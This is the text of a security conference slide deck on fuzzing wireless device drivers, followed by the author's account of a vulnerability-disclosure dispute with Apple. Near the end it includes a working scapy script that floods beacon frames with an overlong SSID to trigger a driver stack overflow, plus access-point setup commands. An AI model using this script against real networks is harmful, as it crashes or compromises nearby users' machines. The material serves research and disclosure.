Device Drivers 2 0 David Maynor Founder

Device Drivers 2. 0 David Maynor – Founder & CTO

Errata Security • Founded in 2006 by Robert Graham and David Maynor. • Outsourced research and development – Hacker Eye View – Product Testing – Private Vulnerability Research • Professional Services – Application and development review – Specialized penetration testing

Query… Don’t you hate waiting through an entire movie to see the huge action scene at the end?

Me to!!!!

Apple Demo (lets just get that out of the way)

A crash is achieved on a 10. 4. 6 machine.

No crash on a 10. 4. 8 machine. The only changes to airport code between 10. 4. 6 is 10. 4. 8 is the patches apple released in response to the 2006 Blackhat talk on device drivers.

A look at /Library/Logs/panic. log

What does this mean? Did Apple misrepresent you to the press? Did you point them to vulnerabilities affecting Apple hardware? Where is Jimmy Hoffa?

The answer to these questions and more will be at the end of the talk. Captive audience!! Except the Hoffa one…

Introduction • What's been going on? – I have been talking about the risks associated with device drivers for 2 years now. – 0 wn 3 d by everything else: USB/PCMCIA Issues • Can. Sec. West 2005 • The first 20 slides involved pointing out the massively insecure programming practices in device drivers. – These kinds of problems have been chased to extinction in application level code.

Why are drivers important? • Operating System vendors are making their products more secure. • Attackers are just going to give up – They can either move up and attack the application layer • File Format bugs • Web Apps • Etc… – Or they can head below the operating system level and target device drivers.

A bit of history… • Karl Janmar finds an integer overflow in freebsd. – http: //www. signedness. org/advisories/sps 0 x 1. txt • Jon Ellch and I start working on fuzzing various wireless drivers. – We had great success. – Most fell over if you said boo to loudly.

How did we find so many problems so quickly? • Fuzzing!! – You may have heard of it mentioned with its more classy cousin: automated fault injection. – In case you don’t know what fuzzing is… • You start with a deep understanding – Protocol – File format – Just about anything you can thing of… • You then write a tool to generate input for your fuzzing target. – Slightly off – Hideously malformed

Clearing up some confusion… • What chipsets did we find stuff in? – Intel – Atheros – Broadcom • Chipsets vs. cards • “Reference Drivers” – The device manufacturer does not write their own driver from scratch. – The chipset makers provide them with a sample driver they can then adopt to their needs. • Vulnerabilities across manufactures. . and even OSes – http: //madwifi. org/wiki/Compatibility – So the same driver can be used for these cards. – If a vulnerability is discovered in the driver anyone using any of these cards may be affected. – Its not always a guarantee, but it is cool when it happens.

Example… • Dlink WUA-2340 uses an atheros driver

If you don’t have the source… • How can you tell it’s the same driver? – Having the same file name isn’t proof – Aren’t they different architectures… • Reverse engineering • Code segments • Strings • Structure • Broadcom – Apple • /System/Library/Extensions/IO 80211 Family. kext/Contents/Plugins/Apple. Air. Port. Brcm 4311. kext • Apple. Air. Port. Brcm 4311 – Win 32 • C: WINDOWSSystem 32Drivers • BCMWL 5. sys

OSX code…

Win 32 code…

• If the Apple broadcom driver is for PPC, when is the disassembly in x 86? – Fat binaries • Contains both PPC and Intel version of app • IDA 5. 1 will give you a choice of which to reverse • Steps – – Source Compiler Assembler Binary

An Odd thing about our finding… • Beacon or Probe Response fuzzing only – We haven’t delved into the tricky parts of the protocols yet. – The majority of the bugs were the old sprintf into a static buffer problems. • A huge untapped area… – – Different kinds of control packets Encryption Compression Data…

What does it look like?

How to do it? • Requirements. . – Linux – Lorcon – Madwifi • Patched with lorcon – A supported card • I use a WPN 511 – An understanding of the protocols you want to fuzz – The ability to write code

• I am using Fedora Core 6 – Used yum to install • Sharutils • Update all – Built a kernel for wifi auditing • 2. 6. 18. 1 – Patched madwifi with LORCON • Installs in /lib/modules/2. 6. 18. 1/net

• Test it with a Shell script #!/bin/bash ifconfig ath 0 up ifconfig ath 0 192. 168. 1. 1 iwconfig essid "wifiaudit" iwconfig ath 0 mode Master iwpriv ath 0 mode 2 iwconfig ath 0 channel 1

• Building a quick and dirty fuzzer… – http: //www. securityfocus. com/infocus/1877 – Use scapy if you aren’t a coder • http: //www. secdev. org/projects/scapy/ • fuzz() function – Will automatically generate random data – Choose packet types » Beacon » Probe/Probe. Response » Dissassocate/De. Authenticate – Succesfully strageties » Information Elements are TLV - [type][length][value] » Oversized IE » Alot of reversed IE

More advanced fuzzing • Intelligent response – Create malicious probe response – Force change of network attributes – Peer-to-peer vs. infrastructure • Impersonating – Spoof previous connected AP – Spoof probe responses from legitimate AP • Mixed cases

Wireless fuzzing: not just 802. 11 • Bluetooth – L 2 cap fuzzing – http: //secunia. com/advisories/22402 • Wi. Max • 3 g/EV-DO • Infrared – serial

So how useful is this type of work? • • Most of these were found by Jon, HD Moore, and LMH. Shellcode by Matt Miller. Apple vulnerabilities – http: //docs. info. apple. com/article. html? artnum=304420 – http: //docs. info. apple. com/article. html? artnum=304829 – http: //docs. info. apple. com/article. html? artnum=305031 • Broadcom – http: //projects. info-pull. com/mokb/MOKB-11 -11 -2006. html • Dlink – http: //kernelfun. blogspot. com/2006/11/mokb-13 -11 -2006 -d-link-dwlg 132. html • Netgear – http: //kernelfun. blogspot. com/2006/11/mokb-16 -11 -2006 -netgearwg 111 v 2. html – http: //kernelfun. blogspot. com/2006/11/mokb-18 -11 -2006 -netgearma 521 -wireless. html – http: //kernelfun. blogspot. com/2006/11/mokb-22 -11 -2006 -netgearwg 311 v 1. html

Actual example…and homework… • Real 0 day… • Dlink WUA-2340 – Can still get at Compu. USA cheap – Win 32 – Metasploit…

Metasploit… • Metasploit has added… – LORCON support – Fuzzers – Kernel payloads • Most are located in the auxiliary/dos/wireless directory • Easy way to fuzz and find vulnerabilities

Wireless support…

Going forward… • Metasploit runs on Nokia N 800 tablet…

• Add bluetooth capabilities to Metasploit • Add packet injection capabilities to the N 800 • Launch attacks from tablet!

More reading… • Uninformed – http: //www. uninformed. org/? v=6&a=2&t=sumr y • Security. Focus – http: //www. securityfocus. com/infocus/1877

Thank You for coming! dave@erratasec. com http: //erratasec. blogspot. com http: //www. erratasec. com

Oh wait…the Apple stuff • Yes, I did provide the information on vulnerabilities in Apple products. • Yes, I provided them with code. • Yes, they were given packet captures from problems. I am not able to release and details of email or conversations between Apple and my email address at my former employer.

So where is the confusion… • There were multiple vulnerabilities… – What was shown in the video was not what people saw in person – The Macbook and Powerbook were both affected – 3 rd party peripherals as well

• Finding the vulnerabilities was not hard… – Writing the kernel shellcode was – Upcoming paper… • What happened… – Jon and I went out of our way to make sure the average Mac user was not affected • We demoed a 3 rd party card exploit when we could have demoed a native one • We videoed the demo so that the code did not escape • If someone found the same vulnerability afterwards, it didn’t matter because noone used a third party card anyway.

• Apple was notified the evening I arrived in Las Vegas – “Don’t freak out, although it is using a Mac we are not showing a native exploit. There are native exploits but we are still determining how many other platforms they affect and we will make a full disclosure when this is done. ” – They said OK. – By Friday the tune had changed to “give it to us now. ” • “I’ll work with an engineer to duplicate the vulnerability when I leave Vegas, but if this is a cross platform problem and you don’t coordinate it you could be leaving millions of other users at risk. ” • They didn’t care. • Since we were finished with the broadcom work, I felt OK telling them about that problem. – “Fine, if you look at the IE handling code in both the handling of SSIDs in your broadcom code you will find an overly long SSID with cause a trivial stack overflow. ” – “Is it like the Free. BSD problem? ” – “Yes, it’s a malformed IE. ”

• I returned to Atlanta and began to test and see what other platforms may be affected by the Atheros driver. • After a few phone calls… – Apple couldn’t figure out how to duplicate the problem – They couldn’t get packet injection working – They need more help…

I helped them build a wifi auditing box… • So even if they found the bugs in an “internal audit” I showed them how to build the box that they used…

At their request we offered more assistance… • How to actually do injection and attack. • I sent them a script that produced an overly long SSID to help reproduce the problem.

Its encrypted…

The pre-encrypted version This is a beacon test script i was using last night to determine if default OSX was vulnerable, its easy to modify for a probe response, most cards however will ignore probe response from address they didn't send a probe out to, or the unsolicited probe. #!/usr/bin/env python import sys from scapy import * target=“ff: ff: ff: ff" attacker="00: 0 f: b 5: a 8: fd: 2 c" conf. iface="ath 0 raw" p=Dot 11(subtype=8, addr 1=target, addr 2=attacker, addr 3=attacker)/Dot 11 Beacon()/Dot 11 Elt(ID=1, len=4, info="5555")/Dot 11 Elt(ID=0, len=255, info="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") while 1==1: sendp(p)

DEMO Crash the broadcom Driver (win 32)

How is this significant? Air. Port CVE-ID: CVE-2006 -3507 Available for: Mac OS X v 10. 3. 9, Mac OS X Server v 10. 3. 9, Mac OS X v 10. 4. 7, Mac OS X Server v 10. 4. 7 Impact: Attackers on the wireless network may cause arbitrary code execution Description: Two separate stack buffer overflows exist in the Air. Port wireless driver's handling of malformed frames. An attacker in local proximity may be able to trigger an overflow by injecting a maliciously-crafted frame into a wireless network. When the Air. Port is on, this could lead to arbitrary code execution with system privileges. This issue affects Power Mac, Power. Book, i. Mac, Mac Pro, Xserve, and Power. PC-based Mac mini computers equipped with wireless. Intel-based Mac mini, Mac. Book, and Mac. Book Pro computers are not affected. There is no known exploit for this issue. This update addresses the issues by performing additional validation of wireless frames. One of the two vulnerabilities is that if an SSID is over a certain length, you get a stack overflow.

Is there more? • I became weary of working with Apple after the following. .

But I still sent them packet caps regarding more wireless problems…

Note the date on the bluetooth response • The next day Macworld ran a story with an Apple PR quote saying we had shared nothing and changed our story. • Both are incorrect. • The relationship dissolved after that.

• Jon and I didn’t say anything initially because we knew they had to release pacthes. • We changed our toorcon talk from Device Drivers to the Apple tell all. • Apple was made aware of that. • They released patches right before the conference in case we were able to talk. – They couldn’t let us demo code that proved they left users at risk. – They applied pressure to my former employer to keep me from speaking.

And that’s about it. . . What about the video analysis? That was 5 minutes edited together from 4 hours of shooting. Doing a frame by frame analysis of that is the equivalent of watching NASCAR in slow motion to learn to driver. People challenging you to prove to them? Why would we put users at risk just to win a bet? What about Apple? Will you demand they credit you? It is ultimately Apples decision who to credit with a find. We feel we have presented enough information to show that we did point to specific problems in Apple’s products and that we attempted to work with them in good faith. The decision to discontinue working with Apple was made after incorrect statements were made to the press regarding information we have shared. I no longer feel comfortable engaging in any type of relationship with the company and I will not report and future findings to them.

More details and examples will be posted to the Errata Security blog. http: //erratasec. blogspot. com